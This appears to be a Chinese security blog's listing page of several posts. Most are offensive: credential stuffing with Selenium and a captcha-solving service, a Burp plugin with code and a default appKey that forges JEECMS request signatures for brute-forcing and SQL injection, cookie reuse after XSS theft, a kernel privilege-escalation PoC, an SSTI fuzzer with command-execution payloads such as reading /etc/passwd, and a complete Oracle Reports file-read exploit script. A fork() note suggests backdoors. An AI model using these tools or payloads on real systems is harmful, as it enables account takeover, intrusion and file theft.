Python编程

[撞库测试] Selenium+验证码打码时的特殊情况-【遇到滚动条】

[撞库测试] Selenium+验证码打码时的特殊情况-【遇到滚动条】
题外话:     测试的目标网站如果,登录接口有验证码+浏览器环境检测的时候,有时候脚本小子就望而却步了比如我。因为正面对抗JS的环境检测和验证码是有难度的,这个时候我们可以借助Selenium + 打码平台来搞一搞。这里只做笔记记录,不做具体细节描述,如有兴趣可以私下交流。测试目标:        我们的假定目标如下,某贷网站的登录入口:关键点:       1、需要自动填充账号、密码       2、需要将验证码进行截图,然后接入打码平台SDK       3、这里暂时不管,短信验证码。一般情况:        使用Selenium进行自动化登录的基本操作是会的,结合打码平台的SDK的操作也是基本的,有时候会遇到验证码是特殊url,页面关联性很强的时候,想要打码,必须使用通过截图打码来完成登录。关于selenium+验证码截图网上搜一搜有很多,比如你会搜到下面的:上面的这种在windosw上确实OK的,不一般的情况:        上面的情况适合一部分Window用户,Mac电脑上就不一样了,多次的实践结果证明Mac上的对验证码截图部分代码应该是下面这样写的:(曾经去B站大佬面前演示过B站可被撞库)特殊情况:        今天遇到了不一样的情况了,这个情况就是开篇截图里的情况。当登录页面有滚动条的时候,上面的2种做法都行不通了。回顾截图的代码,思路是,先整体当前网页全屏截图,然后通过Selenium查找到验证码图片元素,拿到该图片元素的长-宽,以及在页面的location相对位置,然后通过计算得到截图的坐标,通过4个坐标点,进行截图得到了我们想要的验证码图片。       这里的新情况是,页面出现了滚动条,如下图:    在有滚动条的时候,验证码图片的相对位置计算方式就不一样了,滚动条向下滚动了,验证码图相对于网页的左上角是更近了一些距离,这个距离就是滚动条的滚动距离。    所以4个点坐标的正确计算方式记录一下应该如下:       上面的思路是:                1. 获取当前滚动条滚动距离。                2. 创建一个标签,记录该值,然后selenium找到这个标签,拿到这个值。                3. 验证码元素的相对位置y值需要剪掉滚动的距离。    这样就能拿到验证码图片了        剩下的工作就是SDK打码,输入验证码,进行测试了,这就不多说了。。总结:        确认过眼神,就是这么整。... 继续阅读 »
Python编程

【burp插件】—— JEECMS 签名助手

【burp插件】—— JEECMS 签名助手
   题外话         18年想提高一下自己的代码审计能力,重点放在JAVA系和Python系。JAVA是我入门学习的第一门语言也是大学陪伴最久的,会一直爱下去。Python是我用的最多最喜欢的,Python是世界上最好的语言。  起因 & 签名分析        写这个插件的原因是在测试JEECMS后台时,用burp修改了一个参数的,在返回结果中看到提示了签名错误,如下图:     很明显这里后端对参数做了签名验证,其中请求中对参数sign就是签名的hash. 于是Debug来看看。先修改参数:通过下断点,发现后端会将请求参数全部拿来做签名计算,签名计算就是一个MD5计算,其中的appKey会被拼接到字符串后面,然后对字符串做一次MD5计算,这个MD5值会与前端传过来的sign判断是否一致,如果一致则签名判断通过,不一致则说明参数被篡改了。签名计算方式:现在唯一的问题就是,随意一个JEECMS的站,那个appKey怎么知道呢?这个Key是admin用户的唯一值,在数据库位置:我们知道sign是签名hash那么,参数是在前端经过签名的,那么前端一定有这个appKey的值,于是打开F12在JS文件中可以找到这个值。官方Demo站:    签名插件编写:我们知道了签名校验方式和过程了,现在就知道怎么写这个burp插件了。     1. 将请求参数拦截下来     2. 将参数+appKey进行拼接并做MD5计算     3. 用新的hash替换参数sign的值     4. burp发出请求,成功返回。编写burp插件-python版本代码如下:from burp import IBurpExtender from burp import IHttpListener from java.io import PrintWriter import hashlib import urllib print "Hack Jeecms Sign By Nerd." class BurpExtender(IBurpExtender, IHttpListener):     def registerExtenderCallbacks(self, callbacks):         self._callbacks = callbacks         self._helpers = callbacks.getHelpers()         callbacks.setExtensionName("Hack JeeCMS Sign")         callbacks.registerHttpListener(self)         self.stdout = PrintWriter(callbacks.getStdout(), True)         self.stderr = PrintWriter(callbacks.getStderr(), True)         callbacks.issueAlert("Loaded Successfull.")     def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):         if messageIsRequest:             requestInfo = self._helpers.analyzeRequest(currentRequest)             self.headers = list(requestInfo.getHeaders())             hook_host = requestInfo.getUrl().getHost()             bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]             self.body = self._helpers.bytesToString(bodyBytes)             o,n = self.update_sign(urllib.unquote(self.body))             self.body = self.body.replace(o,n)             print self.body             newMessage = self._helpers.buildHttpMessage(self.headers, self.body)             currentRequest.setRequest(newMessage)         # Process responses         else:             pass     def update_sign(slef, body=""):         try:             old_sign = ""             # defalut appKey             appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi"             #appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h"             hash_param = ""             param_list = body.split("&")             temp_dict = {}             for pa in param_list:                 t = pa.split("=")                 temp_dict[t[0]] = t[1]             tmmmm = temp_dict.items()             tmmmm.sort()             for (k, v) in tmmmm:                 if k == "sign":                     old_sign = v                     print "old sign = ",v                     continue                 hash_param += "%s=%s&" % (k, v)             hash_param += "key=" + appKey             sign = hashlib.md5(hash_param).hexdigest()             print "new sign = ",sign.upper()             return old_sign,sign.upper()         except Exception, e:             print e             return "",""    效果:    模拟对JEECMS后台进行爆破攻击,没有加载插件之前是这样对效果:全部提示签名错误加载插件以后:加载插件后,长度640为签名错误的情况,仅有2次签名错误,通过这个插件就可以爆破,SQL注入等为所欲为的操作了。代码GitHub地址: hackSign.py... 继续阅读 »
Python编程

【burp插件】— Cookie Via XSS

【burp插件】— Cookie Via XSS
        每当通过XSS打到了Cookie后,需要替换Cookie进行使用时,可以试一试这个插件。提示信息说明:        CookieXSS Code By Nerd.        Write Your Cookie into file: /Users/komi/PycharmProjects/BurpExtends/CookieViaXss/cookie.txt         Like:        domain=baidu.com        bid=c5/a==; BaiLoginName=test;SessionID=F21DFEWFAFFAFQFQEFAFAEF;        domain:       设置当前的Cookie替换域,即:启用该插件后,经过burp的*.baidu.com的域名的流量都会替换使用该Cookie.剩下的数据都是XSS 获取到的Cookie值.bid=c5/a==; BaiLoginName=test;SessionID=F21DFEWFAFFAFQFQEFAFAEF;效果:代码地址:https://github.com/coffeehb/tools/tree/master/Cookie%20Via%20XSS... 继续阅读 »
Exploit

CVE-2016-8655:Linux内核竞争条件漏洞提权 (PoC)

CVE-2016-8655:Linux内核竞争条件漏洞提权 (PoC)
  CVE-2016-8655参考链接:http://www.freebuf.com/vuls/122152.html   EXP:exp说明:     根据作者提示,他提供了部分内核版本的测试偏移,如果要测试其他的版本,可能需要手动添加。添加地址如下截图:struct offset {     char *kernel_version;     unsigned long proc_dostring;     unsigned long modprobe_path;     unsigned long register_sysctl_table;     unsigned long set_memory_rw; };     需要添加一组结构体,分别由:proc_dostring、modprobe_path、register_sysctl_table、set_memory_rw    组成。    这四个参数的值可以到文件查看/proc/kallsyms 命令: sudo cat /proc/kallsyms      效果:Kali2.0 测试成功,ubuntu14.04.1内核3.19测试不成功。            PS:内核版本需要3.2以上... 继续阅读 »
Python编程

一个Fuzzing服务器端模板注入漏洞的半自动化工具

一个Fuzzing服务器端模板注入漏洞的半自动化工具
    0x01. 背景            乌云还在的时候,猪猪侠爆一个XX银行的OGNL表达式注入漏洞,拿到了第一滴血。然后,唐朝实验室爆了个Spring-Boot的SPEL注入漏洞,虽然不是第一滴血,但是让我有了一个想法。因为看到过曾经黑帽大会有国外研究者写的一个很好的Paper:名字:us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf  里面提到了服务器端模板注入导致的远程命令执行类型漏洞产生。    0x02. 萌芽            我对远程命令执行漏洞的理解就是以各种方式直接或间接的导致远程服务器执行成功了你想要让它执行的系统命令的一类漏洞,英文叫:Remote Command Execute Vulnerability(简称RCE漏洞),这是一种很简单暴力的漏洞,一种一言不合就可以rm -rf /或者 format /fs C: 的致命漏洞。哪么都有些什么类型的命令执行漏洞,可以看看exploit-db上关于RCE漏洞的exp有哪些。点击查看     下面是我简单的归了一下类别,RCE漏洞包括但不限于下面提到的。应用程序开发框架里的RCE            这里的框架包括但不仅限于:Struts2框架/xwork框架,ThinkPhp框架,Spring框架 ,IOSurface编程框架类中间件平台/服务应用平台的RCE            这里的代表就举例之前火的JAVA反序列化漏洞影响下的:WebLogic/Jboss/WebSphere/Jenkins、还有比如IIS,nginx,apache因文件名解析,路径解析问题导致的命令执行类,还有Elasticsearch,Redis,Zabbix ,mongodb等各种为业务应用,为数据存储提供服务的软件的命令执行类。应用程序里的RCE            应用程序编写中调用系统API接口,调用系统命令执行函数,程序中系统命令执行相关方法的不恰当使用等导致的一类。第三方应用里的RCE            最喜闻乐见的就是各种CMS被曝SQL注入,命令执行漏洞,代码执行漏洞,这类CMS共同特点就是支持第三方插件,支持用户对原cms程序框架结构进行改造。当然还有之前火了的ImageImagick图形处理库的RCE,和 fffmep导致的RCE等等。等等等          穷尽脑汁就想到了上面这些,有遗漏的典型分类还望大牛多多留言不吝赐教。          然后我好奇的上乌云搜了搜公开的漏洞里(PS: 打开虚拟机搜了搜)关键字:命令执行 的案例。                           公开的有2373个案例,119页,我翻了很多页案例,其中以刷Struts2的S2-xxx的最多。命令执行漏洞案例里我看到了下面几类:OGNL表达式|程序代码注入导致的RCE           1. Struts2的S2-xxx系列,2. 参数里注入或直接传值OGNL表达式,3. 变量名里或参数里注入编程语言基本语法代码系统命令注入|模板代码注入导致的RCE:            1. 变量名里或参数里注入系统命令,2. 变量名里或参数里注入框架模板代码,配置或业务设计不当导致的RCE           1. RMI对外匿名开放或服务未授权导致 2. 文件解析执行绕过 3. 缓存模板,日志记录,请求信息等被带入奇葩业务执行的 3. 业务应用接口,系统接口等权限不当导致的等等。。。            我的重点放在了参数中被带入了系统命令,程序代码,OGNL表达式,模板代码之类导致的RCE漏洞发生的情况。这类情况,有个共同点,大都是通过HTTP/HTTPS请求出现。之前,顺着之前流行的sqlmapapi的思路,我想是否可以同样实现一个, 你上着网就把漏洞给挖出来了呢?萌生了这个想法,于是就有了这么个小脚本。    0x03. 实现.             基于sqlmapapi的实现思路,同样用到了代理正常流量,提取Fuzzing点,带入测试payload进行Fuzzing测试。             实现环境:                   1、Python 2.7.8 ,Win8.1 x64             第三方模块(版本):                   2、requests (2.9.1)、tornado (4.3)            先用Tornado实现代理正常上网,定义SSTIF_Fuzz类用于进行测试,SSTIF_Fuzz类里面定义了下面的函数:             1、_init_payloads_:  初始化各种测试payload的函数,里面现在已经具备了一些测试payload,包括通用的,PHP基础代码,JAVA语法的,OGNL表达式,EL表达式,SPEL表达式,Groovy测试payload,鸟哥爆的CA technologies存在远程命令执行漏洞poc.(暂时就这么多,会不断补充,除非证明此思路此脚本不可行。)             2、HttpHelper :发出带有payload的构造好的请求,根据规则(响应数据包括字符串:10516*61501的结果:646744516,或者在自己配置的cloudeye里面手工确认)判定是否存在RCE漏洞。             3、Fuzzing_GET :分析GET请求中的变量-值(key-value)组合,目前是对每一个value进行测试,未实现对key即变量名进行测试。             4、Fuzzing_HEADER:未实现,因为在乌云的案例中,发现有在Referer中,注入命令导致的RCE的案例,所以未来会考虑对这里的参数进行测试。             5、FileHelper:将测试可能存在RCE漏洞的记录在rce_success_result.txt文件里,格式例如:+==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+ +=+URL: http://202.111.222.333/index.jsp?id=1111&page=222&count=123 +=+method: GET +=+param: id +=+payload: java.lang.Runtime.getRuntime().exec('cat</etc/passwd;$BASH') +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+            记录上面的一条,就可以比较清晰的看出要表达的意思了。     0x04. 使用.                1、安装第三方模块pip install requests pip install tornado                2、修改SSTIF_Fuzz类中配置文件:大概在第49行: self.my_cloudeye = "xxxx.dnslog.info" 这里配置为你的dnslog的域名地址。                3、然后找到一个没有使用的端口,命令:python ssitf.py 8081  启用代理监听8081端口                4、和设置burpsuite一样,浏览器设置通过8081代理端口上网,然后后面就像使用Sqli半自动化工具那样安心上你的网吧。           注意:                 ProxyHandler类中定义了黑名单请求后缀,域名黑名单,这是为了避免带来麻烦的,可以自己添加:大概在246-250行代码处:url_ext_black = ['ico','flv','css','jpg','png','jpeg','gif','pdf','ss3','txt','rar','zip','avi','mp4','swf','wmi','exe','mpeg'] domain_black = ['gov.cn','gov.com','mil.cn','police.cn','127.0.0.1','localhost','doubleclick','cnzz.com','baidu.com','40017.cn','google-analytics.com','googlesyndication','gstatic.com','bing.com','google.com','sina.com','weibo.com']   0x05. 总结.              这个脚本做了什么:                    1、从乌云上,从国外的研究者paper上拔下来了一些payload,作为fuzzing的依据。                    2、实现了代理,从正常上网流量中提取GET和POST请求中的提取有效的参数作为Fuzzing测试点。                    3、实现了个初级版本。              反思不足:                    1、payload是固定死的,这是一大弊端。                    2、无法支持HTTPS流量的处理,这是技术盲点。                    3、Fuzzing太慢,目前是单线程的。                    4、Fuzzing情况考虑不全,应该是思路和认知盲点。                    5、没有考虑狗,软硬防护产品的拦截绕过问题。             最后,看了很多案例,RCE其实就是插入那些东西进去,带入那些东西进去就可以简单初步判断是否存在该漏洞了,我感觉这是一种不错的思路,只是要实现自己的自动化挖掘漏洞神器还是长路漫漫~Github地址: SSTIF文章的:http://blog.portswigger.net/2015/08/server-side-template-injection.html 老外的:https://github.com/epinna/tplmap  (这差距啊。。。。)... 继续阅读 »
Exploit

Oracle Reports LFI——EXP

Oracle Reports LFI——EXP
#!/usr/bin/python import sys, urllib2    # Import the required modules for the vulnerability from termcolor import colored   # Need to download python module "termcolor"   if len(sys.argv) != 2:    # Checks to make sure that a URL was supplied as a sys argument "<script> <URL>"   print "Usage: "+sys.argv[0]+" <URL>"   sys.exit(0)   URL=sys.argv[1]        # Assigns URL variable and prints out message print "[+] Attempting CVE-2012-3152 - Oracle Reports LFI"   while True:        # Endless loop printing out a "~$ " and getting user input via "raw_input" to the command variable   resource=raw_input(colored("~$ ", "red"))   req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'+resource+'"'   try:                    # Sets up a Try/Except loop so exceptions are handled cleanly     response=urllib2.urlopen(URL+req)     # Sends request and prints the response     for line in response.readlines():       print line.strip()   except Exception as e: print e... 继续阅读 »
Python编程

python脚本要好好写-PEP8 Python 编码规范

python脚本要好好写-PEP8 Python 编码规范
0x01.背景       过去学习和需要的时候一直都是在Windows下写的py脚本或小Tools,几乎没在Linux下编写和测试过.一直认为在DOS命令窗口下python>> 写一下满足需要,复杂一点的就打开Pycharm或pydev+Eclipse编写脚本就能完事,没必要打开虚拟机去Linux环境下编写脚本.      虽然windows下写的脚本有时候出各种问题,每次都要百度查找解决一个又一个问题,但是还是妥协于懒得打开虚拟机一开虚拟机电脑用着就卡住了.       喜欢BB2的分享精神,之前很尴尬的事是拿着上面写Poc怎么跑都要出错,老是说baseframe有问题,在Pip上各种翻都没法弄.我很喜欢python也很想写POC一边练习python脚本编写一边去了解和分析漏洞存在的原因.能搞懂一个漏洞并写出漏洞Poc感觉肯定很巴适!0x02.迷雾揭开      今晚无意看到个帖子:千万不要把Python脚本的第一行写成“#! /usr/bin/python”      提到唯一的正确写法:  #! /usr/bin/env python     这是Linux下最佳实践. 利用env找到当前用户环境里找到python解释器不用考虑python解释器在何位置吧. 这样写的py脚本.      chmod 添加x权限后,’./xxx.py’ 就可以直接执行了. Windows下也可以使用#!    加Python解释器绝对路径 然后.直接执行. 但是Windows下安装Python的时候python解释器路径被加在了环境变量里的,所以可以直接使用的.执行脚本. 这行代码让我想到了BB2上写的POC了,BB2上写的就是这么规范,于是多看了两下,于是看到开发文档里说到了baseframe框架.这才发现BB2上写的POC用的baseframe是自定义的啊,曾经那么多次苦恼终于揭开了. 马上下载了BB2的框架。在Linux下测试了他人写的POC可行的了. 以后可以写自己的Poc提到BB2和利用别人的POC做检测了. 开始慢慢转移到Linux下编写脚本了,放弃windows!0x03. Python编程PEP8规范        找到豆瓣一篇详细说到了Python编程中的PEP8规范,这里记录一下以备需要时来翻一翻。        PEP8 Python 编码规范代码编排        1 缩进。4个空格的缩进(编辑器都可以完成此功能),不使用Tap,更不能混合使用Tap和空格。        2 每行最大长度79,换行可以使用反斜杠,最好使用圆括号。换行点要在操作符的后边敲回车。        3 类和top-level函数定义之间空两行;类中的方法定义之间空一行;函数内逻辑无关段落之间空一行;其他地方尽量不要再空行。          二 文档编排        1 模块内容的顺序:模块说明和docstring—import—globals&constants—其他定义。其中import部分,又按标准、三方和自己编写顺序依次排放,之间空一行。        2 不要在一句import中多个库,比如import os, sys不推荐。        3 如果采用from XX import XX引用库,可以省略‘module.’,都是可能出现命名冲突,这时就要采用import XX。          空格的使用        总体原则,避免不必要的空格。        1 各种右括号前不要加空格。        2 逗号、冒号、分号前不要加空格。        3 函数的左括号前不要加空格。如Func(1)。        4 序列的左括号前不要加空格。如list[2]。        5 操作符左右各加一个空格,不要为了对齐增加空格。        6 函数默认参数使用的赋值符左右省略空格。        7 不要将多句语句写在同一行,尽管使用‘;’允许。        8 if/for/while语句中,即使执行语句只有一句,也必须另起一行。           注释        总体原则,错误的注释不如没有注释。所以当一段代码发生变化时,第一件事就是要修改注释!        注释必须使用英文,最好是完整的句子,首字母大写,句后要有结束符,结束符后跟两个空格,开始下一句。如果是短语,可以省略结束符。        1 块注释,在一段代码前增加的注释。在‘#’后加一空格。段落之间以只有‘#’的行间隔。比如:        # Description : Module config.        #        # Input : None        #        # Output : None        2 行注释,在一句代码后加注释。比如:x = x + 1 # Increment x        但是这种方式尽量少使用。        3 避免无谓的注释。          文档描述        1 为所有的共有模块、函数、类、方法写docstrings;非共有的没有必要,但是可以写注释(在def的下一行)。        2 如果docstring要换行,参考如下例子,详见PEP 257        “””Return a foobang                Optional plotz says to frobnicate the bizbaz first.                “””          命名规范        总体原则,新编代码必须按下面命名风格进行,现有库的编码尽量保持风格。        1 尽量单独使用小写字母‘l’,大写字母‘O’等容易混淆的字母。        2 模块命名尽量短小,使用全部小写的方式,可以使用下划线。        3 包命名尽量短小,使用全部小写的方式,不可以使用下划线。        4 类的命名使用CapWords的方式,模块内部使用的类采用_CapWords的方式。        5 异常命名使用CapWords+Error后缀的方式。        6 全局变量尽量只在模块内有效,类似C语言中的static。实现方法有两种,一是__all__机制;二是前缀一个下划线。        7 函数命名使用全部小写的方式,可以使用下划线。        8 常量命名使用全部大写的方式,可以使用下划线。        9 类的属性(方法和变量)命名使用全部小写的方式,可以使用下划线。        9 类的属性有3种作用域public、non-public和subclass API,可以理解成C++中的public、private、protected,non-public属性前,前缀一条下划线。        11 类的属性若与关键字名字冲突,后缀一下划线,尽量不要使用缩略等其他方式。        12 为避免与子类属性命名冲突,在类的一些属性前,前缀两条下划线。比如:类Foo中声明__a,访问时,只能通过Foo._Foo__a,避免歧义。如果子类也叫Foo,那就无能为力了。        13 类的方法第一个参数必须是self,而静态方法第一个参数必须是cls。         编码建议        1 编码中考虑到其他python实现的效率等问题,比如运算符‘+’在CPython(Python)中效率很高,都是Jython中却非常低,所以应该采用.join()的方式。        2 尽可能使用‘is’‘is not’取代‘==’,比如if x is not None 要优于if x。        3 使用基于类的异常,每个模块或包都有自己的异常类,此异常类继承自Exception。        4 异常中不要使用裸露的except,except后跟具体的exceptions。        5 异常中try的代码尽可能少。比如:        try:         value = collection[key]         except KeyError:         return key_not_found(key)         else:         return handle_value(value)        要优于         broad!         return handle_value(collection[key])         except Ktry:         # TooeyError:         # Will also catch KeyError raised by handle_value()         return key_not_found(key)        6 使用startswith() and endswith()代替切片进行序列前缀或后缀的检查。比如:        Yes: if foo.startswith(‘bar’):优于        No: if foo[:3] == ‘bar’:        7 使用isinstance()比较对象的类型。比如        Yes: if isinstance(obj, int): 优于        No: if type(obj) is type(1):        8 判断序列空或不空,有如下规则        Yes: if not seq:         if seq:        优于        No: if len(seq)         if not len(seq)        9 字符串不要以空格收尾。        10 二进制数据判断使用 if boolvalue的方式。... 继续阅读 »
Python编程

python里的fork函数

python里的fork函数
        0x01.什么是fork()函数            fork()是计算机程序设计中的分叉函数.            返回值: 若成功调用一次则返回两个值,子进程返回0,父进程返回子进程标记;否则,出错返回-1.            示例:    >>> import os     >>> print os.fork()     4150     0            终端下查看:    root@greenboy:~/Desktop/SPSE/Lesson-2# pidof python         4150 4148     root@greenboy:~/Desktop/SPSE/Lesson-2# ps all | grep python     0 0 4148 3363 20 0 11296 4468 poll_s S+ pts/3 0:00 python     1 0 4150 4148 20 0 11428 3256 poll_s S+ pts/3 0:00 python            可以看出pid为4150是新创建出来的pid为4148的子进程.返回值 4150一个是子进程PID,0是标识创建成功了.        0x02.fork()函数有什么意思            用下面的代码来实践下:root@greenboy:~/Desktop/SPSE/Lesson-2# cat pro.py #! /usr/bin/env python from time import sleep import os def child_process(): print "I am child process and my PID is : %d"%os.getpid() print "The Child is exiting!" ida = 1 while True: print "child excute "+repr(ida)+" times" sleep(2) ida = ida + 1 def parent_process(): print "I am the parent process with PID:%d"%os.getpid() childpid = os.fork() if childpid ==0: child_process() else: print "We are inside the parent process" print "Our child has the PID:%d"%childpid idb = 1 while True: print "parent excute "+repr(idb)+" times…" sleep(2) idb = idb + 1 parent_process()        执行效果:                    杀掉子进程:root@greenboy:~/Desktop/SPSE/Lesson-2# kill pid 4346 bash: kill: pid: arguments must be process or job IDs root@greenboy:~/Desktop/SPSE/Lesson-2#            现在只有父进程在执行了:                                重新来一次,杀死父进程:            效果:                            查看PID                            子进程被托付给PID为1的进程了,通过查看找到PID为1的是守护进程:                            它是最上级的进程了,他的PPID为0了.这样该子进程就会在后台一直默默的执行着,做后门是不是很棒了??反弹shell的python版要去好好学习下!        Linux中fork学习:        linux中的fork函数... 继续阅读 »